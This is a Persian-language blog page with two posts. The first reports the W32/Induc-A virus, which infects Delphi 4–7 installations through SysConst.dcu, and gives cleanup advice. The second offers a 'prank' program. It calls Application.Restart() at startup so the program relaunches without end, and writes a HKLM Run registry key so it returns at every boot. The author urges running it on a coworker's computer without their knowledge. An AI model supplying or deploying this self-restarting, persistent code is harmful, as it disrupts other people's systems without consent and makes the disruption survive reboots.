ویروس در برنامه های دلفی 4 تا 7

21 08 2009

در صورتی که هنوز از یکی از نسخه های دلفی 4 تا 7 استفاده می کنید پس این مطلب رو دنبال کنید. اخیرا اخباری مبنی به آلوده شدن برنامه های نوشته شده با دلفی پخش شده که نشان می ده ویروسی دلفی را هدف قرار داده. این ویروس با هدف قرار دادن کتابخانه دلفی باعث آلوده شدن تمام برنامه ی کامپایل شده با آن نسخه می شه.

این ویروس که در روسیه کشف شده ابتدا وجود نسخه ای از دلفی رو در سیستم جستجو کرده و بعد فایل SysConst.dcu را با استفاده از کامپایل مجدد نسخه آلوده، جایگزین می کنه. این یونیت که در تمام برنامه های دلفی اضافه می شه ، در صورت آلوده بودن سبب انتشار ویروس توسط برنامه شما خواهد شد.

این ویروس خطرناک نیست و کار خاصی به غیر از انتشار خودش انجام نمی ده. اسم این ویروس W32/Induc-A هست و اطلاعات اون رو اینجا میتونید مشاهده کنید.

بهتره که ویروس کش ها تون رو به روز کنید و پس از حذف ویروس، می تونید فایلی با نام SysConst.bak رو که ویروس از روی فایل اصلی ساخته برگردونید. در این صورت احتمالا مشکل شما حل خواهد شد.

همچنین بخوانید:
A Tempest in a Teapot or something more sinister
Delphi developer virus exposes weakness in anti-virus defences
More on the Delphi Virus Alert





ساخت ویروس در عرض چند ثانیه

22 09 2008
Virus

اول اینکه این ویروس نیست و تیتر رو برای جذابیت قضیه آبدار نوشتم. بعدشم از این روش فقط برای شوخی کردن با رفیق و رفقا استفاده کنید و انتشار اون تو جمع و اینترنت ممنوع؛ پس هیچ مسئولیتی در قبال استفاده نادرست از این روش بر عهده نمی گیرم!

فقط کافیه که یک خط کد زیر رو در جایی که می گم بنویسید تا برنامه به صورت پی در پی اجرا بشه و طرف مقابل کلافه بشه. در ضمن این کد فقط برای زبان های دات نتی یعنی C# و VB.NET و … کار می کنه.

برای انجام این کار در پروژه C# خودتون فایل Program.cs و در پروژه VB.NET خودتون فایل Program.vb رو باز کنید و در ابتدای تابع Main کد زیر رو بنویسید:

Application.Restart()

این کار رو می تونید رو سیستم همکارتون انجام بدین و منتظر بمونین که برنامه رو اجرا کنه. توصیه می کنم از این لحظه فیلم تهیه کنید و به سایت youtube هم اضافه کنید. 😈

راز این موضوع در تایع Application.Restart نهفته است. این تابع باعث ریستارت شدن برنامه میشه. به این صورت که یک برنامه موقت و کوچک در دایرکتوری temp در سیستم ایجاد میکنه و سپس برنامه اصلی رو می بنده، بعد از بسته شدن برنامه، فایل اجرایی ایجاد شده در temp برنامه ما رو دوباره اجرا می کنه و سپس پاک میشه. در کد بالا چون ما کد رو در ابتدای برنامه نوشتیم پس برنامه در همان ابتدای اجرا ریستارت خواهد شد و این روند ادامه خواهد داشت تا زمانی که سیستم پر از این برنامه خواهد شد.

برای اینکه از شر این مزاحم خلاص بشین ساده ترین راه ریستارت سیستم هست. اما این هم راه داره و اون این که برنامه رو تو ریجستری ویندوز بنویسید و هربار که سیستم بالا میاد برنامه هم بالا بیاد. با این کد:

Microsoft.Win32.Registry.SetValue(@»HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run»,»Hello»,System.Windows.Forms.Application.ExecutablePath)

این کد رو قبل از تابع Restart بنویسید و نتیجه رو مشاهده کنید. برای اینکه از شر این روش هم خلاص بشید، راه سادش رفتن در حالت Safe Mode و حذف کردن کلیدی که آدرسش در کد بالا هست.

در پایان بهتره که این کار رو تو اوقات فراغت و برای شوخی با همکاران یا دوستانتون انجام بدین. در ضمن این روش قبلا توسط من روی همکاران و توسط همکاران روی من امتحان شده و 100% جواب داده و موجب شاده و خنده بسیار شده است.

خوش باشین